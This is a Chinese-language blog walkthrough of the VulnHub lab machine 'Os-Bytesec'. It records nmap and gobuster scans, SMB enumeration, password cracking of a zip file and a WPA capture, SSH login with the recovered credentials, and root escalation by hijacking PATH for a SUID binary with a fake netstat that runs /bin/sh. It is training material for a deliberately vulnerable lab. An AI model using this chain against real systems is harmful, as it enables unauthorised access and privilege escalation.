靶机训练4:os-bytesec 靶机

# 靶机训练4:os-bytesec 靶机

一,前期准备

1. 下载安装

  • 下载地址:hackNos: Os-Bytesec ~ VulnHub

  • 学习内容

    • 漏洞利用
    • SMB网络文件系统协议
    • 枚举
    • Stenography
    • 提权
  • 目标

    • 一个user-flag
    • 一个root-flag

二, 信息收集

1. 主机探测

nmap -sP 192.168.31.0/24

image-20220715003208487

2. 端口扫描

nmap -sV -sC -A 192.168.31.27

image-20220715003750792

  • 以开放的端口
80 --web服务
139
445
139 445 为smb服务 netBions name NITIN smbba4.3.11 Ubuntu
2525 ssh服务
  • 另一方方式的端口探测

    • nmap -sV -sC 192.168.31.27 -oA os-bytesec-allport
      -oA 同事输出三种格式
      -sV 表示探测目标机器上的服务信息
      -sC sC参数表示使用nmap脚本进行探测
      

image-20220716225434073

2. smb - Server Message Block

  • 是一种文件共享协议,能被用于Web连接和客户端与服务器之间的信息沟通

三,渗透过程

1. 查看网站信息

image-20220715003943341

  • 查看各种按钮,看看有没有啥线索,发现并没有,只看到一个登陆页面

image-20220715004533552

2. 目录扫描

gobuster dir -u http://192.168.31.27 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image-20220715005145069

  • 结果

    • /news (Status: 301)
      /img (Status: 301)
      /html (Status: 301)
      /gallery (Status: 301)
      /css (Status: 301)
      /js (Status: 301)
      /server-status (Status: 403)
      

3. 检测smb服务

渗透测试之SMB枚举指南 - 知乎 (zhihu.com)

检测smb服务

  • nmap使用脚本对指定的端口进行检测

    • nmap -p 139,445 --script=smb-vuln-*.nse --script-args=unsafe=1 192.168.31.27
      

image-20220716230343832

  • 但没有发现什么可以利用的点

smbmap 列出共享

smbmap -H 192.168.31.27

image-20220716230553846

  • 可以匿名访问但是均都没有任何权限

enum4linux 测试smb安全

  • Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具

  • 常规扫描并获取用户列表,发现有一个smb用户

    • enum4linux -U 192.168.31.27
      

image-20220716232721398

  • 全量扫描

    • 全方位测试smb服务安全 枚举用户 共享文件,发现了多个用户

      • sagar

      • blackjax

      • smb

    • enum4linux 192.168.31.27
      

image-20220716233011742

尝试登录,用smbmap列出用户共享目录

image-20220716233943081

  • 但是我本地smb用户也是无法登录的

smbclient 访问目录

  • smbclient是测试与Windows共享连接的有用工具

    • 可用于传输文件或查看共享名
    • 具有“ tar”(备份)功能,可以将文件从服务器还原到客户端,反之亦然、
  • 尝试获取用户目录下的文件,但无权限

    • smbclient -L 192.168.31.27 -U 用户名
      
  • 思路:

    • smb 用户是对的,密码是对的,但无法查看共享目录,有一种可能是:共享目录被隐藏了
  • 尝试用户登录

    • 首先可以尝试弱密码登录,smb用户的密码为空时可以登录

    • 用法:smbclient//ip/myshare -U xxxx
      smbclient //192.168.31.27/smb -U smb
      

image-20220716234851151

  • 查看文件,并下载 get main.txt safe.zip

image-20220716235206090

4. 破解文件

  • 解压文件,但发现需要密码

    • unzip safe.zip
      

image-20220716235444546

  • 弱口令不行就使用工具进行密码爆破

    • 使用fcrackzip工具,但需要安装

    • fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u safe.zip
      
  • 发现找不到要使用的密码文件,则查看原因(发现未解压)

image-20220717000439068

  • 成功找到密码

    • hacker1
      

image-20220717000603957

  • 得到密码后解压得到以下两个文件
    • secret.jpg
    • user.cap

image-20220717000750806

image-20220717005812352

  • 使用工具 exiftool 工具查看图片内容

image-20220717010149761

image-20220717010708909

  • 尝试用Aircrack-ng破解文件

    • Aircrack-ng是一个与802.11标准的无线网络分析有关的安全软件,主要功能有:网络侦测,数据包嗅探,WEP和WPA/WPA2-PSK破解。

    • aircrack-ng 使用 - 知乎 (zhihu.com)

    • aircrack-ng -w /usr/share/wordlists/rockyou.txt user.cap
      

image-20220717011145116

  • 找到一个用户和密码

    • user:blackjax 
      pwd:snowflake
      
  • 尝试使用ssh登录

    • ssh -p 2525 blackjax@192.168.31.27
      

image-20220717011431943

  • ls查看用户下有啥文件,发现user.txt,查看内容,发现第一个user-flag的hash密文,进行解密得到

    • abhishek
      

image-20220717011645724

image-20220717012027459

5. 提权后获取root.flag

image-20220717012321840

  • 查看靶机Ubuntu版本号,根据当前版本搜索有没有可利用的提权方法

  • 查找根目录下所有带用suid属性的文件

    • 在find命令的帮助下不浪费时间的搜索具有SUID或4000权限的文件

    • find / -perm -u=s -type f 2>/dev/null
      

image-20220717012705593

  • 进入/usr/bin,就可以逐个去查看目录,看到netscan比较可疑,
    • ls -al 查看其权限,发现它有可执行权限,执行,,功能与netstat -tlnp相似,用于获取网络协议

image-20220717013227179

  • 分析该文件

    • xxd

      • xxd是二进制查看命令,默认将2文件显示为16进制
    • less 与 more 类似,less 可以随意浏览文件

    • xxd /usr/bin/netscan | less
      

image-20220717014132393

  • 发现文件netscan试图运行netstat -antp,这是一个真正的在/bin中的文件可以查看端口状态

image-20220717014251482

  • 提权操作

    • 创建文件 netstat

    • cd /tmp  #这是一个任何用户都可以访问的目录
      echo "/bin/sh" > netstat #创建一个文件netstat 内容:/bin/sh 
      chmod 777 netstat  # 赋予权限(任何用户都可以执行)
      
      
    • 劫持环境变量

      • 原理

        • 当运行 /usr/bin/netscan(它是root权限的)的时候,做了环境变量劫持后,它会执行netstat命令,从而调用 /bin/sh,从而拿到root权限
      • echo $PATH  #查看
        export PATH=/tmp:$PATH #添加
        /usr/bin/netscan # 运行
        id #查看结果
        whoami
        

    image-20220717020135392

image-20220717020248315

  • 进入 root 目录,拿到 root-flag

image-20220717020355777

总结

  • 突破点

    • 通过SMB获取共享文件;
      
      通过爆破获取密码;
      
      从user.cap获取账户和密码;
      
      利用$PATH变量提权。
      
  • 修复建议

    • 设置smb用户密码
      netscan命令 去掉s属性
      
posted @   bingekong  阅读(158)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示